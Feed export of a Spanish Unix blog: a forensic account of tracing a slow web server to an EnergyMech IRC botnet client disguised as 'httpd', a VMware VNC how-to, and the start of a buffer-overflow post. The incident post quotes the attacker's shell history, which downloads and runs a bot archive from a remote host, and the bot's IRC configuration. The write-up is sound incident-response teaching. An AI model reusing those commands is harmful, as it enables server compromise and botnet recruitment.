tag:blogger.com,1999:blog-51890278164275153512024-02-07T01:28:40.873-03:00Codigo Unixtty0http://www.blogger.com/profile/01071302674256069171noreply@blogger.comBlogger37125tag:blogger.com,1999:blog-5189027816427515351.post-3784555556962044282014-04-26T23:55:00.000-03:002016-12-05T03:49:51.644-03:00A brief and real malware story<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjeXZ6y0szNtSij7zmqFMAFzfQSDRd3NDp3BDQKruYviTEEsAzFTUUlkNYEg96ryoVphoVCqrW7XpJL7LzqA0J3BIZNjJ2qW4_VYtstcViR5eGJ_tyE8dhgc6wdYeYHqLutx8PCx3HWiZk/s1600/12888532-red-monster-virus.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjeXZ6y0szNtSij7zmqFMAFzfQSDRd3NDp3BDQKruYviTEEsAzFTUUlkNYEg96ryoVphoVCqrW7XpJL7LzqA0J3BIZNjJ2qW4_VYtstcViR5eGJ_tyE8dhgc6wdYeYHqLutx8PCx3HWiZk/s1600/12888532-red-monster-virus.jpg"></a></div>Esta historia (real por sobre todas las cosas), sucedió hace ya algo mas de un año e involucro a un webserver productivo de una ONG Argentina a la cual en la empresa en la que trabajo, le hacemos mantenimiento de sistemas e infraestructura.
El desencadenante del siguiente procedimiento, fue un llamado telefónico por parte del cliente, manifestando que el webserver eventualmente andaba lento, y había que determinar cual era el origen de este problema.
Luego de atender los tickets previamente asignados me puse a trabajar en el caso, logueandome de manera remota al equipo (que se encontraba en un conocido datacenter de Argentina), y tras ejecutar las herramientas típicas de detección de problemas de performance y/o observación (<code>vmstat</code> para inspeccionar la memoria virtual, <code>iostat</code> para inspeccionar el IO y <code>mpstat</code> para inspeccionar CPU) comienzo a revisar los logs del sistema operativo, un <b>CentOS 6.2 </b><code>x86_64</code>, en este caso. Y tras ejecutar el comando <code>dmesg</code> (encargado de loguear los mensajes del booteo, como así también del kernel) me encuentro con lo siguiente:
<a name='more'></a>
<br/>
<blockquote><pre>
[root@foobar ~]# dmesg
TCP: Treason uncloaked! Peer 200.12.207.10:42448/80 shrinks window 1575164376:1575164377. Repaired.
TCP: Treason uncloaked! Peer 200.12.207.10:43144/80 shrinks window 1563760962:1563760963. Repaired.
TCP: Treason uncloaked! Peer 200.12.207.10:43742/80 shrinks window 1577391267:1577391268. Repaired.
printk: 7 messages suppressed.
</pre></blockquote>
La primera pista se hacia evidente, si bien este tipo de mensajes (impresos por el propio kernel) no presenta un problema en cuestión informa que existe una malformación (de la ventana) en paquetes TCP/IP debido normalmente a las transmisiones de un host remoto, o un problema con algún firewall/NAT existente en el mismo segmento. Si miramos bien, vamos a ver la IP del peer con el que existe el problema, asi como el puerto de origen y destino y podremos determinar que se trata de paquetes posiblemente pertenecientes a un servicio web (HTTP/Puerto TCP 80).
<br/>
Cuando existen problemas de networking suele ser de muchísima utilidad (luego de revisar la salida de <code>ethtool</code>) capturar trafico con herramientas tales como <code>tcpdump</code> o <code>snoop</code> (en Solaris) en búsqueda de paquetes con malformaciones, retransmisiones o errores de checksum. En mi caso utilizo <code>tcpdump</code> con un filtro a fin de reducir la cantidad de paquetes que esta herramienta me mostraría en pantalla, dejando fuera a los paquetes involucrados con el puerto 22 (mi sesión de SSH) y el puerto 80 (servicios aplicativos web).
<blockquote><pre>
[root@foobar ~]# tcpdump -nli eth0 not '(port 22 or port 80)'
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
20:58:17.597928 IP 181.116.133.23.arepa-cas > 190.41.80.1000.30000: UDP, length 16
20:58:17.701736 IP 181.238.144.81.arepa-cas > 190.41.80.1000.30000: UDP, length 16
20:58:17.748374 IP 186.122.245.30.arepa-cas > 190.41.80.1000.30000: UDP, length 16
20:58:17.903979 IP 186.122.244.7.arepa-cas > 190.41.80.1000.30000: UDP, length 16
20:58:17.928418 IP 190.41.80.100.33383 > 4.2.2.1.domain: 28636+ A? collector-6.newrelic.com. (42)
20:58:18.073293 IP 186.13.74.121.arepa-cas > 190.41.80.1000.30000: UDP, length 28
20:58:18.179748 IP 4.2.2.1.domain > 190.41.80.100.33383: 28636 1/0/0 A[|domain]
20:58:18.357846 IP 200.81.44.24.48084 > 190.41.80.1000.30000: UDP, length 16
20:58:26.771453 IP 186.12.36.187.3030 > 190.41.80.1000.30000: UDP, length 16
20:58:26.811460 IP 186.158.40.160.3030 > 190.41.80.1000.30000: UDP, length 16
20:58:26.815345 arp who-has 41.41.41.32 tell 41.41.41.1
20:58:26.968061 IP 207.123.37.5 > 41.41.41.35: ICMP echo request, id 9216, seq 25853, length 1400
20:58:27.044933 IP 170.51.184.78.3030 > 190.41.80.1000.30000: UDP, length 16
20:58:31.860908 IP 190.136.174.242.52228 > 190.41.80.1000.30000: UDP, length 28
20:58:31.867993 IP 186.123.191.167.3030 > 190.41.80.1000.30000: UDP, length 16
</pre></blockquote>
Si bien la captura era bastante mas larga, podemos ver una gran cantidad de trafico UDP (extraño en el equipo) sobre la interfaz de red publica (<code>eth0</code>) destacandose una query DNS al servidor publico <code>4.2.2.1</code>.
Continúe con el análisis tratando de determinar que tipo de trafico circulaba por el servidor, por lo cual agregue a <code>tcpdump</code> los flags (<code>-X</code>) para obtener un dump hexadecimal/ASCII de los paquetes:
<blockquote><pre>
[root@foobar ~]# tcpdump -nnXli eth0 not '(port 22 or port 80)' and not dst net 41.41.41.0/24
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
21:05:50.642616 IP 190.41.80.100.49621 > 4.2.2.1.53: 13964+ AAAA? Eu.Undernet.Org. (33)
0x0000: 4500 003d 2d2a 4000 4011 e545 c833 5a0a E..=-*@.@..E.3Z.
0x0010: 0402 0201 c1d5 0035 0029 287b 368c 0100 .......5.)({6...
0x0020: 0001 0000 0000 0000 0245 7508 556e 6465 .........Eu.Unde
0x0030: 726e 6574 034f 7267 0000 1c00 01 rnet.Org.....
21:05:50.896247 IP 190.41.80.100.50733 > 4.2.2.1.53: 32542+ AAAA? Eu.Undernet.Org.org.ar. (40)
0x0000: 4500 0044 2e27 4000 4011 e441 c833 5a0a E..D.'@.@..A.3Z.
0x0010: 0402 0201 c62d 0035 0030 2882 7f1e 0100 .....-.5.0(.....
0x0020: 0001 0000 0000 0000 0245 7508 556e 6465 .........Eu.Unde
0x0030: 726e 6574 034f 7267 036f 7267 0261 7200 rnet.Org.org.ar.
0x0040: 001c 0001 ....
21:05:51.244096 IP 190.41.80.100.33539 > 4.2.2.1.53: 47591+ A? Eu.Undernet.Org. (33)
0x0000: 4500 003d 2f83 4000 4011 e2ec c833 5a0a E..=/.@.@....3Z.
0x0010: 0402 0201 8303 0035 0029 287b b9e7 0100 .......5.)({....
0x0020: 0001 0000 0000 0000 0245 7508 556e 6465 .........Eu.Unde
0x0030: 726e 6574 034f 7267 0000 0100 01 rnet.Org.....
21:05:51.493501 IP 190.41.80.100.58065 > 94.125.182.255.6666: S 4011205553:4011205553(0) win 5840 <mss 1460,sackOK,timestamp 3507892349 0,nop,wscale 7>
0x0000: 4500 003c 13cc 4000 4006 ef35 c833 5a0a E..<..@.@..5.3Z.
0x0010: 5e7d b6ff e2d1 1a0a ef16 23b1 0000 0000 ^}........#.....
0x0020: a002 16d0 e83d 0000 0204 05b4 0402 080a .....=..........
0x0030: d116 307d 0000 0000 0103 0307 ..0}........
21:05:51.497494 802.1d unknown version
0x0000: 4242 0300 0002 023c 03b6 0014 1bac 0ac0 BB.....<........
0x0010: 0000 0004 8000 001f c934 33b6 8090 0100 .........43.....
0x0020: 1400 0200 0f00 0000 0000 0000 0000 ..............
</pre></blockquote>
Dejando en evidencia que algo extraño había pasado con el equipo, evidenciando pedidos de resolución DNS de registros <code>A y AAAA</code> (registro de dominio a IP para IPv4/IPv6) del dominio <code>Undernet.org</code> que como bien sabrán, no es otra cosa que un servidor IRC.
Normalmente, las botnets hacen uso de canales en servidores IRC como centro de control, al cual ingresan cada una de los equipos zombies y de esta manera el “botnet administrator” es capaz de ejecutar de manera coordinada comandos en los nodos para enviar SPAM, hacer ataques de DoS/DDoS, entre otros tantos motivos.
Bien, ya sabiendo que es lo que pasaba con el servidor, lo importante era determinar quien estaba haciendo eso y/o que cuenta de usuario había sido vulnerada, así que tras varios intentos de inspeccionar la salida de <code>netstat</code> buscando por consultas DNS, di con lo que quería:
<blockquote><pre>
[root@foobar ~]# netstat -putan | grep 4.2.2.1
udp 0 0 190.41.80.100:60954 4.2.2.1:53 ESTABLISHED 25606/httpd
</pre></blockquote>
El servicio httpd era quien estaba haciendo querys DNS al servidor <code>4.2.2.1</code>. Ahora faltaba determinar el usuario que estaba ejecutando HTTPD.
<blockquote><pre>
[root@foobar ~]# ps aux | grep httpd
apache 21404 0.1 0.2 308320 48948 ? S 17:51 0:15 /usr/sbin/httpd
apache 25626 0.1 0.2 294184 34452 ? S 20:46 0:01 /usr/sbin/httpd
apache 25627 0.0 0.2 294160 34428 ? S 20:46 0:01 /usr/sbin/httpd
apache 25628 0.0 0.2 294140 34084 ? S 20:46 0:00 /usr/sbin/httpd
apache 25629 0.1 0.2 294196 34472 ? S 20:46 0:01 /usr/sbin/httpd
apache 25630 0.1 0.2 294984 34952 ? S 20:46 0:01 /usr/sbin/httpd
apache 25631 0.0 0.2 293376 33168 ? S 20:46 0:01 /usr/sbin/httpd
501 30644 0.0 0.0 2212 1004 ? Ss 2012 2:59 httpd
root 31838 0.0 0.0 269720 11760 ? Ss May07 0:02 /usr/sbin/httpd
</pre></blockquote>
Destacandose el usuario con el PID 501, quien ejecuto <code>httpd</code> directamente desde su terminal, ahora vamos a ver quien es este usuario:
<blockquote><pre>
[root@foobar ~]# grep 501 /etc/passwd
webmaster:x:501:501::/home/webmaster:/bin/bash
</pre></blockquote>
Siendo el usuario <b>webmaster</b> el que estaba ejecutando <code>httpd</code>, bien!.
Como ya en otros posts les comente, por cada proceso que es ejecutado en el sistema operativo, se crea un directorio en el <code>/proc</code> con el mismo nombre que su numero de PID, donde en su interior podremos encontrar archivos con información variable respecto a el proceso (entorno, nombre de ejecución, stack, file descriptos abiertos, etc.). Por lo cual vamos a explorar al proceso <code>30644</code> tratando de determinar principalmente su entorno:
<blockquote><pre>
[root@foobar ~]# cd /proc/30644/
HOSTNAME=foobar.org.arTERM=xtermSHELL=/bin/bashHISTSIZE=1000SSH_CLIENT=92.81.171.84 49258 22OLDPWD=/home/webmasterSSH_TTY=/dev/pts/0USER=webmasterLS_COLORS=no=00:fi=00:di=00;34:ln=00;36:pi=40;33:so=00;35:bd=40;33;01:cd=40;33;01:or=01;05;37;41:mi=01;05;37;41:ex=00;32:*.cmd=00;32:*.exe=00;32:*.com=00;32:*.btm=00;32:*.bat=00;32:*.sh=00;32:*.csh=00;32:*.tar=00;31:*.tgz=00;31:*.arj=00;31:*.taz=00;31:*.lzh=00;31:*.zip=00;31:*.z=00;31:*.Z=00;31:*.gz=00;31:*.bz2=00;31:*.bz=00;31:*.tz=00;31:*.rpm=00;31:*.cpio=00;31:*.jpg=00;35:*.gif=00;35:*.bmp=00;35:*.xbm=00;35:*.xpm=00;35:*.png=00;35:*.tif=00;35:MAIL=/var/spool/mail/webmasterPATH=:/usr/kerberos/bin:/usr/local/bin:/bin:/usr/bin:/home/webmaster/binINPUTRC=/etc/inputrcPWD=/home/webmaster/.gLANG=es_ES.UTF-8SHLVL=1HOME=/home/webmasterLOGNAME=webmasterSSH_CONNECTION=92.81.171.84 49258 190.41.80.100 22LESSOPEN=|/usr/bin/lesspipe.sh %sG_BROKEN_FILENAMES=1_=./httpd
</pre></blockquote>
Lo que vemos es el entorno del usuario regular <b>webmaster</b>, que como podemos observar en la variable <code>SSH_CONNECTION</code> estableció conexión desde la IP <code>92.81.171.84</code>.
Como seguramente recordaran en <u><b>Unix todo es un archivo</u></b> y Linux no es la excepción a la regla, todo proceso al momento de ser creado, mapea 3 file descriptors para poder manejar la <b>entrada estandar</b> (<code>STDIN/FD 0</code>), la <b>salida estandar</b> (<code>STDOUT/FD 1</code>) y la <b>salida de errores</b> (<code>STDERR/FD 2</code>) siendo 1, 2 y 3 los nombres desde el sistema de archivos de estos file descriptors y el directorio <code>/proc</code> el lugar donde podemos hacer evidentes estos mappings. Vamos a explorar que file descriptors abre <code>httpd</code>:
<blockquote><pre>
[root@foobar 30644]# cd /proc/30644/fd
[root@foobar fd]# ls -al
total 0
dr-x------ 2 webmaster webmaster 0 May 17 20:46 .
dr-xr-xr-x 6 webmaster webmaster 0 May 17 06:00 ..
l-wx------ 1 webmaster webmaster 64 May 17 20:46 0 -> /home/webmaster/.g/LinkEvents
lrwx------ 1 webmaster webmaster 64 May 17 20:46 3 -> socket:[44595140]
</pre></blockquote>
Donde inmediatamente nos llama la atención la entrada estandar (<code>STDIN/FD 0</code>) del proceso <code>30644</code>, la cual proviene del archivo <code>/home/webmaster/.g/LinkEvents</code> y el socket referente a la conexión a la red IRC <code>Undernet</code> por parte del software en si. Vamos a ver que tiene el archivo <code>LinkEvents</code>:
<blockquote><pre>
[root@foobar fd]# cat /home/webmaster/.g/LinkEvents
1342760162 EnergyMech started...
1342769294 New Nick Gabot2___ -> Gabot2
1342769358 New Nick Gabot2__ -> mireasa
1344981802 New Nick mireasa_ -> mireasa
1346226253 New Nick mireasa -> NiGGa-
1346255842 New Nick NiGGa- -> NiGGa
1346323093 New Nick NiGGa__ -> NiGGa
1346328124 New Nick NiGGa__ -> NiGGa
1346595142 New Nick NiGGa__ -> NiGGa
1368829534 New Nick NiGGa_ -> NiGGa
[root@foobar fd]# date -s @1368836165
Fri May 17 21:16:05 ART 2013
</pre></blockquote>
Lo que tenemos en este archivo son los cambios de nickname en el servidor IRC del cliente de la botnet, y la fecha donde se produjeron estos cambios en <code>Unix delta time</code>, al cual si convertimos a calendario Gregoriano vemos que es reciente a la fecha de análisis (Mayo de 2013).
Tambien se puede notar que el atacante, creo un directorio "oculto" (no listable en la salida regular del comando <code>ls</code>) denominado <code>.g/</code>, con el objetivo de esconder aun mas su ataque al ojo de los administradores del equipo, el cual vamos a explorar a continuación:
<blockquote><pre>
[root@foobar fd]# cd /home/webmaster/.g/
[root@foobar .g]# pwd && ls -al
/home/webmaster/.g
total 2584
drwxr-xr-x 3 webmaster webmaster 4096 Jul 20 2012 .
drwx------ 3 webmaster webmaster 4096 Jul 20 2012 ..
-rw-r--r-- 1 webmaster webmaster 249 Jul 20 2012 1
-rw-r--r-- 1 webmaster webmaster 249 May 10 19:00 2
-rwxr-xr-x 1 webmaster webmaster 418490 Dec 2 2005 bsd
-rw-r--r-- 1 webmaster webmaster 941 Dec 2 2005 checkmech
-rw-r--r-- 1 webmaster webmaster 23237 May 15 2003 configure
-rw-rw-r-- 1 webmaster webmaster 0 Jul 20 2012 Gabot1.seen
-rw-rw-r-- 1 webmaster webmaster 82401 May 17 09:20 Gabot2.seen
-rwxr-xr-x 1 webmaster webmaster 397274 Dec 2 2005 httpd
-rw-r--r-- 1 webmaster webmaster 1584304 May 17 21:17 LinkEvents
-rw-r--r-- 1 webmaster webmaster 2154 May 15 2003 Makefile
-rw-r--r-- 1 webmaster webmaster 1054 May 17 21:00 m.lev
-rw------- 1 webmaster webmaster 6 Jul 20 2012 m.pid
-rw-rw-r-- 1 webmaster webmaster 2166 May 17 21:00 m.ses
-rw-r--r-- 1 webmaster webmaster 2990 Jan 11 2012 m.set
drwxr-xr-x 2 webmaster webmaster 4096 Jan 15 2008 r
</pre></blockquote>
Aquí nos llama la atención el archivo ejecutable <code>httpd</code>, el cual no es otra cosa que un archivo regular binario (con permisos 755) intentando camuflarse ante el listado de procesos de servicios web (que verderamente sirve el equipo). Posiblemente si el servidor hosteara sitios FTP, este binario se llamaría <code>ftpd</code> o similar. El resto de los archivos corresponden a logs y/o archivos de configuración del cliente de la botnet.
<br/>
Como seguimos buscando evidencia, ahora vamos a explorar el entorno del usuario <code>webmaster</code>, siendo su archivo <code>~/.bash_history</code> el primer lugar donde buscaremos:
<blockquote><pre>
[root@foobar ~]# cat /home/webmaster/bash_history
1 cd smtp
2 chmod +x *
3 ./start 32 100 200
4 cd .x
5 chmod +x *
6 ./sendeb.pl
7 w
8 passwd
9 ps x
10 ls -a
11 cd ldap
12 cd /home/webmaster
13 cd .x
14 cd /home/webmaster
15 ls -a
16 cd ldap
17 ls
18 cat vuln.txt
19 cd /home/webmaster
20 ls
21 rm -rf ldap.tgz
22 rm -rf ldap
23 ps x
24 wget <
25 tar xvf gabor.gz
26 rm -rf gabor.gz
27 cd .g
28 export PATH=:$PATH;httpd
29 w
30 ps x
31 ls -a
32 kill - 9 -1 30362
33 rm -rf .x
34 rm -rf .g
35 wget http://members.lycos.co.uk/tbthathug/gabor.gz
36 tar xvf gabor.gz
37 rm -rf gabor.gz
38 cd .g
39 export PATH=:$PATH;httpd
</pre></blockquote>
Vemos que lo que hizo nuestro querido atacante al ganar acceso al equipo, fue cambiar la contraseña del usuario <code>webmaster</code>, para así continuar asegurando el acceso al equipo (mediante SSH), y luego descargar el siguiente archivo: <code>http://members.lycos.co.uk/tbthathug/gabor.gz</code>, descomprimirlo y crear una nueva variable de entorno <code>PATH</code> para poder ejecutar el binario <code>httpd</code>, obviamente se olvido de borrar el ~/.bash_history :-P aunque es notable que esta editado.
<br/>
Al continuar inspeccionando los archivos de configuración de la botnet, dentro del directorio <code>/home/webmaster/.g</code>, encontré el archivo <code>m.ses</code>, que al verlo nos da bastante información respecto a la conexión IRC de la que el cliente hace uso:
<blockquote><pre>
[root@foobar .g]# head -n 50 m.ses
linkport -1
hasonotice
nick NiGGa
login nunu
ircname nunu
modes +ix-ws
service x@channels.undernet.org login user pass
cmdchar .
userfile 2
set BANMODES 6
set OPMODES 6
set CTIMEOUT 60
set CDELAY 30
tog SPY 1
channel #crisan
server Budapest.Hu.Eu.Undernet.org 6666
server mesa2.az.us.undernet.org 7000
server SantaAna.CA.US.Undernet.org 6667
server Tampa.FL.US.Undernet.org 6660
server London.UK.Eu.Undernet.Org 6660
server London2.UK.EU.Undernet.Org 6660
server LosAngeles.CA.US.Undernet.org 7000
server newyork.ny.us.undernet.org 7000
server Diemen.NL.EU.Undernet.Org 6660
server Helsinki.FI.EU.Undernet.org 7000
</pre></blockquote>
Tal como podemos ver, el cliente tiene un pool de servidores IRC (FQDN, y el puerto en el que el servidor escucha) de la red <b>Undernet</b> a los que conectar, configurando cuestiones tales como su nickname (<code>NiGGa</code>), login (<code>nunu</code>), ircname (<code>nunu</code>), así como también, el canal al que ingresa: <code>#crisan</code>.
Por lo cual, con un cliente de IRC (como <a href="http://irssi.org" target="_blank">Irssi</a>) podemos conectar al canal <code>#crisan</code> en el servidor <code>Budapest.Hu.Eu.Undernet.org</code>:
<blockquote><pre>
20:52 tty0 (~0x4141414@foobar.me) has joined #crisan
20:52 Irssi: #crisan: Total of 14 nicks (1 ops, 0 halfops, 0 voices, 13 normal)
20:52 Irssi: Join to #crisan was synced in 1 secs
20:52 < tty0> is somebody here?
20:55 Slim_ (~puya@183.129.173.214) has joined #crisan
20:55 Slim_ (~puya@183.129.173.214) has quit (G-lined (AUTO [1] DNSBL listed. Check www.dronebl.org/lookup_branded?network=UnderNet for removal. Your IP is 183.129.173.214))
</pre></blockquote>
Bingo! conectamos al IRC donde la botnet es manejada (su "centro de control"), vemos que hay 12 equipos conectados, siendo presumiblemente todos clientes, y tal como vemos el mensaje de <code>quit</code> del cliente <code>Slim_</code>, estos realizan chequeos de <b>DNSBL</b> (o DNS blacklist), utilizadas por los servidores de correo para verificar si una IP o dominio que envía correos se encuentra dentro de una lista negra de spammers, por lo cual es probable que hayamos sido utilizados con el objetivo de enviar SPAM y presumiblemente nuestra IP (del servidor web), se encuentre en una DNSBL (o este en proceso de pertenecer), siendo necesario efectuar un tramite (normalmente via email) para deslistarnos de ella o aun peor, teniendo que pagar para deslistarnos.
<br/>
<!--more-->
Posiblemente, una de las ultimas cosas que nos gustaría saber es conocer que software nuestro atacante utilizo para hacernos zombies de dicha botnet, dentro del directorio <code>/home/webmaster/.g</code> encontramos el archivo <code>configure</code>, donde al imprimir el header de este encontramos:
<blockquote><pre>
[root@foobar .g]# head -50 configure
# !/bin/sh
#
# EnergyMech, IRC Bot software <--- Just check that: http://www.energymech.net
# Copyright (c) 1997-2001 proton, 2002-2003 emech-dev
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
...
</pre></blockquote>
El nombre (<b>EnergyMech</b>) y la URL del mismo: <a href="http://www.energymech.net/" target="_blank">http://www.energymech.net/</a>, dicha URL (a la fecha de hoy, funcionando), nos dice brevemente en la descripcion del programa lo siguiente:
<blockquote><i>
The EnergyMech is a UNIX compatible IRC bot programmed in the C language, freely distributable under
GNU General Public License (GPL). On this website you can find the largest EnergyMech resource and help
library on the Internet.
If you wish to know more about what an EnergyMech can do, please go on to the features page, where the
features are described more in detail.</i>
</blockquote>
Entre las features, podemos destacar que <code>EnergyMech</code> (y según la página del propio proyecto) podemos destacar que compila en la mayor parte de los sistemas Unix (como Linux, FreeBSD o Solaris). Se encuentra escrito en lenguaje C, es liviano. (lo que lo hace sumamente portable). Soporta un montón de lenguajes de scripting para extender sus funcionalidades tales como Perl y Python. Ademas consume muy pocos recursos de CPU y memoria para hacerlo aun mas facil de camuflarse entre los procesos del sistema operativo ademas dispone también la posibilidad de funcionar como proxy IRC.
En fin, el misterio esta resuelto, solo resta saber como entraron...
Y bueno, a veces las aplicaciones web no están bien desarrolladas, los clientes no siguen las recomendaciones mínimas de seguridad y cosas como estas pueden pasar bastante seguido. tty0http://www.blogger.com/profile/01071302674256069171noreply@blogger.com6tag:blogger.com,1999:blog-5189027816427515351.post-40435054002974248262012-10-27T20:25:00.000-03:002012-10-28T18:01:16.770-03:00VMWare Server: Adding a VNC server without web console.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-YYfcl0gNgMHvepcx-5ToAFsm0RrNRsVIpfcP86Wf9qk2rwIp_F-eZ6IyVmdKtyGYZDwxsYNJ7uoe0W9pSPUn6xuu7jQ1Kb_dLe36rvSxKhzYrtjyc2BCKGL0Vk-3BFMcgz-KHsShrVU/s1600/vmware-logo.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="83" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-YYfcl0gNgMHvepcx-5ToAFsm0RrNRsVIpfcP86Wf9qk2rwIp_F-eZ6IyVmdKtyGYZDwxsYNJ7uoe0W9pSPUn6xuu7jQ1Kb_dLe36rvSxKhzYrtjyc2BCKGL0Vk-3BFMcgz-KHsShrVU/s200/vmware-logo.jpg" width="200" /></a></div>
<br />
Una de las plataformas de virtualización con mayor aceptación en el mercado actualmente es VMWare, en sus versiones enterprise tales como ESX/ESXi o en su versión gratuita (apta para PoC, o uso hogareño), VMWare Server. Quienes me conocen, saben que no tengo demasiada simpatía con este producto, lo cual hace que mi interés en el mismo no sea mas allá que instalarlo en algún server, crear máquinas virtuales y hacer alguna que otra tarea administrativa con el, pero no más.<br />
<br />
Esta terrorífica historia que hoy les traigo, me sucedió hace algunos meses en un servidor <b>productivo</b>, que utilizaba VMWare Server. El equipo se había caído, y por algún motivo extraño la interfaz web no levantaba. Siguiendo la Ley de Murphy: <i>"Si algo puede salir mal, lo hará..."</i><br />
Una de las VM's no había levantado correctamente y no tenía forma alguna de conectarme a ella para ver por qué no booteaba el sistema operativo, así que buscando en Google, encontré esto:
<a name='more'></a>
<br />
<br />
Todos sabemos que muchas plataformas de virtualización permiten añadir un servidor VNC a fin de poder conectarse a la máquina virtual. Esto se define dentro de la propia configuración de la VM, por lo cual, si tiene su propia configuración, significa que hay un archivo donde esa configuración se almacena, y este utilizando VMWare, es un archivo <code>.vmx</code> y se encuentra en <i>/var/lib/vmware/vms/<vm_name>/VM_NAME.vmx</vm_name></i>.
El cual si abrimos con cualquier editor de textos (previo backup), por ejemplo Vi :-P, podremos ver todas las definiciones que hemos realizado para nuestra máquina virtual, yo lo que hice fue añadir lo siguiente:
<br />
<blockquote>
<pre>RemoteDisplay.vnc.port = "5900"
RemoteDisplay.vnc.enabled = "TRUE"
RemoteDisplay.vnc.password = "foobar"
</pre>
</blockquote>
La primera directiva que añadimos, tiene un valor entero, y es el número de puerto que bindearemos nuestro VNC, es importante que ese puerto TCP, al que conectaremos con el cliente VNC, sea utilizado únicamente por esa VM, debido a que por cada una de estas a la que nosotros le habilitemos el servidor VNC, vamos a utilizar un puerto diferente.<br />
El segundo parámetro tiene un valor booleano, (TRUE o FALSE), y nos va a permitir habilitar o deshabilitar el servidor VNC. Y por su parte le tercero, es la contraseña que utilizaremos para acceder a este con nuestro cliente.
Una vez hecho esto, procedemos a levantar la máquina virtual, en este caso, su nombre es <i>foobar</i>, y el VMWare Server se encuentra corriendo en el localhost:<br />
<blockquote>
<pre># vmrun -T server -h 'https://localhost:8333/sdk' -u root -p crackme start "[datastore]"
"foobar/foobar.vmx"
</pre>
</blockquote>
Si todo está bien, esto no debería tardar mas de dos o tres segundos, una vez listo. Debemos conectarnos con cualquier cliente VNC, por ejemplo <i>Vinagre</i>.<br />
Siempre es bueno verificar que el puerto realmente escuche:
<br />
<blockquote>
<pre># netstat -tnpa | grep 5900
tcp 0 0 0.0.0.0:5900 0.0.0.0:* LISTEN 8244/vmware-vmx
</pre>
</blockquote>
Y ahora si podemos conectarnos a el. Como en este caso debido a que existia un firewall entre el servidor y yo, la forma rápida de hacerlo era mediante un tunel SSH:
<br />
<blockquote>
<pre>ssh -N -L 8000:127.0.0.1:5900 vmware_user@someplace</pre>
</blockquote>
Para ahora sí conectar a la máquina virtual utilizando, en mi caso, <i>Vinagre</i>:
<br />
<blockquote>
<pre># vinagre localhost:8000
</pre>
</blockquote>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgbe4H0FzEEvOYX31MFRcikM4zAtjrMkPqflcRUCdxOisA-hPDs0Sz-4gmd0kBMK_sv3USoibu65XzBu22Ii9QdnMBVgv0iDkFM3-Vu2wSc9yPySRe2MpBnYXGudTN2RgJzTZwQn9hQkk4/s1600/VM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="311" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgbe4H0FzEEvOYX31MFRcikM4zAtjrMkPqflcRUCdxOisA-hPDs0Sz-4gmd0kBMK_sv3USoibu65XzBu22Ii9QdnMBVgv0iDkFM3-Vu2wSc9yPySRe2MpBnYXGudTN2RgJzTZwQn9hQkk4/s400/VM.png" width="400" /></a></div>
tty0http://www.blogger.com/profile/01071302674256069171noreply@blogger.com9tag:blogger.com,1999:blog-5189027816427515351.post-60017930196765372812012-10-22T13:29:00.001-03:002012-10-27T21:48:50.687-03:00Linux x86: Adjacent Memory Overflows<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGxFir-uLVNO9oLIx7zt4ENnW5bV6vpiLfYFmm0WckOcI-OhDVN6IzwFNbUsZ2BbWY2Ooy8oXpMh3uzV02pw4jfSqqdKf5TnmDzBSbuABrJNc1_9l_0JBWxB3TT4Q62pi9Frn1kW9Kqqg/s1600/8dot8.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="100" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGxFir-uLVNO9oLIx7zt4ENnW5bV6vpiLfYFmm0WckOcI-OhDVN6IzwFNbUsZ2BbWY2Ooy8oXpMh3uzV02pw4jfSqqdKf5TnmDzBSbuABrJNc1_9l_0JBWxB3TT4Q62pi9Frn1kW9Kqqg/s200/8dot8.png" width="100" /></a>Durante los días 18 y 19 de Octubre de 2012, tuve el placer de viajar y presentarme como disertante a la <a href="http://www.8dot8.org/" target="_blank" title="8.8 Security Conference"><b>8.8 Security Conference</b></a> en la hermosa ciudad de Santiago de Chile.<br />
<br />
Durante mi conferencia sobre <a href="http://www.8dot8.org/talks.php"><b>"Buffer Overflow for fun and pr0fit"</b></a>, luego de la larga y aburrida introducción teórica hice algunas demostraciones prácticas de explotación de binarios, bypasseo de protecciones y "adjacent memory corruption explotation" en la cual esta última falló, quizá por la presión de hacerlo en vivo, nervios o lo que sea, falló. Entonces me
gustaría a través de este post hacer un repaso de este último tópico que me hubiera encantado haberlo compartido en vivo durante mi charla.
<br />
<a name='more'></a><br />
<br />
<br />
<u>Tomamos el siguiente código en ANSI C:</u>
<br />
<br />
<script src="http://pastebin.com/embed_js.php?i=cP1wEEfZ"></script>
Como vemos este pequeño programa (<i>dsr.c</i>, que pueden descargar de <a href="http://tty0.code4life.com.ar/Code/dsr.c" target="_blank">aquí</a>) de ejemplo, toma los dos argumentos posicionales que entran (<i>argv[1]</i> y <i>argv[2]</i>).
<br />
Nuestro ejemplo también declara tres variables (buffers) del tipo <i>char</i>.
De los cuales <i>argv[1]</i> se copia a <i>vuln_array</i> y <i>argv[2]</i> se copia a <i>exploit_string</i>, utilizando la función <i>strncpy</i>.<br />
<br />
<u>Según la propia página del manual de strncpy:</u>
<br />
<blockquote>
<pre>NAME
strcpy, strncpy - copy a string
SYNOPSIS
#include <string .h=".h">
char *strcpy(char *dest, const char *src);
char *strncpy(char *dest, const char *src, size_t n);
DESCRIPTION
